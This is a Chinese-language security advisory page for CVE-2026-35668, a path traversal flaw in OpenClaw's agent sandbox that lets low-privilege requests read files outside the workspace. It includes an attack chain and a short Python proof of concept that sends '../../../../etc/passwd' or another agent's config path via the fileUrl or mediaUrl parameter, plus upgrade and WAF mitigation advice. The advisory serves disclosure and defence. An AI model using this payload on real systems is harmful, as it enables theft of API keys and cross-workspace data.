IPBUF安全漏洞报告
English
CVE-2026-35668 CVSS 7.7 高危

CVE-2026-35668 OpenClaw路径遍历漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35668
漏洞类型
路径遍历
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

路径遍历OpenClaw沙箱逃逸信息泄露高危漏洞

漏洞概述

OpenClaw在2026.3.24之前的版本中存在一个高危路径遍历漏洞,主要影响沙箱执行机制的安全隔离性。该漏洞源于`normalizeSandboxMediaParams`函数对参数验证的不完整性以及缺失`mediaLocalRoots`上下文。攻击者可以通过构造恶意的未规范化`mediaUrl`或`fileUrl`参数,诱导沙箱化的代理读取其他代理工作区之外的任意文件。这严重破坏了沙箱的隔离边界,使攻击者能够获取包括API密钥、配置文件等在内的敏感数据,造成严重的信息泄露后果。

技术细节

该漏洞的核心在于OpenClaw处理媒体文件路径时的逻辑缺陷。在沙箱环境中,系统本应限制代理只能访问其特定的根目录。然而,当处理传入的`mediaUrl`或`fileUrl`参数时,`normalizeSandboxMediaParams`函数未能正确地对路径进行规范化和验证。由于缺少对`mediaLocalRoots`上下文的检查,攻击者可以利用路径遍历序列(如`../`)来逃逸出预定的沙箱目录。具体利用过程中,攻击者向受影响的OpenClaw实例发送包含恶意路径的请求。由于未过滤特殊字符,系统将请求解析为指向文件系统中上级目录或其他代理工作区的路径。一旦验证绕过成功,系统便会返回目标文件的内容。这种漏洞允许低权限攻击者以沙箱代理的身份读取服务器上的敏感文件,甚至跨工作区窃取数据,完全绕过了基于目录的访问控制策略。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行的是OpenClaw 2026.3.24之前的版本,并确认其开放了受影响的API接口。
STEP 2
漏洞利用
攻击者构造包含路径遍历序列(如../)的恶意请求,将其作为`mediaUrl`或`fileUrl`参数发送给服务器,绕过`normalizeSandboxMediaParams`的验证。
STEP 3
数据窃取
由于缺少`mediaLocalRoots`上下文检查,系统读取并返回了指定路径的文件内容(如API密钥、配置文件),导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://example.com/api/media" # Malicious payload using path traversal to read sensitive files # Exploiting the 'fileUrl' parameter due to lack of normalization payload = { "fileUrl": "../../../../etc/passwd", # or "mediaUrl": "../../other_agent_workspace/config.json" } try: # Sending the request response = requests.get(target_url, params=payload, timeout=10) # Checking if exploitation was successful if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] File Content:") print(response.text) else: print("[-] Exploit failed or target not vulnerable.") print("Status Code:", response.status_code) print("Response:", response.text[:200]) except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")

影响范围

OpenClaw < 2026.3.24

防御指南

临时缓解措施
建议立即将OpenClaw组件升级到2026.3.24或更高版本以修复此漏洞。如果无法立即升级,应部署Web应用防火墙(WAF)规则,检测并拦截包含路径遍历字符(如../)的请求参数。同时,检查服务器日志以确认是否已有遭受攻击的迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表